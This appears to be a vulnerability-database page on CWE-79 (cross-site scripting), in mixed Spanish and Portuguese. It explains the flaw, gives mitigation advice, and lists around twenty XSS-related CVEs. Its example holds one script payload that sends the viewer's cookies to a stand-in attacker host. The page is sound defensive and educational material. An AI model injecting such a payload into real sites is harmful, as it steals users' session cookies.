Fallos del tipo CWE-79

29.800 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-44143MEDIUMWordPress Bamboo Columns Plugin <= 1.6.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-45513MEDIUMAn issue was discovered in Zimbra Collaboration (ZCS) through 10.1. A stored Cross-Site Scripting (XSS) vulnerability exists in the /modern/EPSS 0.4%CVE-2023-26952MEDIUMonekeyadmin v1.3.9 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Add Menu module.EPSS 0.4%CVE-2023-30124MEDIUMLavaLite v9.0.0 is vulnerable to Cross Site Scripting (XSS).EPSS 0.4%CVE-2023-26950MEDIUMonekeyadmin v1.3.9 was discovered to contain a stored cross-site scripting (XSS) vulnerability via the Title parameter under the Adding CateEPSS 0.4%CVE-2026-11707CRITICALMultiple vulnerabilities have been identified in IBM WebSphere Application Server shipped with Tivoli System Automation Application ManagerEPSS 0.4%CVE-2025-41425HIGHDuraComm DP-10iN-100-MU Cross-site ScriptingEPSS 0.4%CVE-2024-11433MEDIUMSurbma | SalesAutopilot Shortcode <= 2.5 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.4%CVE-2023-29847MEDIUMAeroCMS v0.0.1 was discovered to contain multiple stored cross-site scripting (XSS) vulnerabilities via the comment_author and comment_conteEPSS 0.4%CVE-2026-47743HIGHShopper: Multiple data integrity and disclosure issues in admin Livewire componentsEPSS 0.4%CVE-2025-59902HIGHHTML injection in NICE ChatEPSS 0.4%CVE-2022-45542MEDIUMEyouCMS <= 1.6.0 was discovered a reflected-XSS in the FileManager component in GET parameter "filename" when editing any file.EPSS 0.4%CVE-2026-11708CRITICALIBM WebSphere Application Server is affected by a cross-site scripting vulnerabilityEPSS 0.4%CVE-2024-46073MEDIUMA reflected Cross-Site Scripting (XSS) vulnerability exists in the login page of IceHRM v32.4.0.OS. The vulnerability is due to improper sanEPSS 0.4%CVE-2023-48202MEDIUMCross-Site Scripting (XSS) vulnerability in Sunlight CMS 8.0.1 allows an authenticated low-privileged user to escalate privileges via a crafEPSS 0.4%CVE-2025-4744MEDIUMcode-projects Employee Record System edit_employee.php cross site scriptingEPSS 0.4%CVE-2023-44264MEDIUMWordPress The Awesome Feed – Custom Feed Plugin <= 2.2.5 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-4676MEDIUMXSS in Yordams MedasProEPSS 0.4%CVE-2025-3252MEDIUMxujiangfei admintwo add cross site scriptingEPSS 0.4%CVE-2024-31137MEDIUMIn JetBrains TeamCity before 2024.03 reflected XSS was possible via Space connection configurationEPSS 0.4%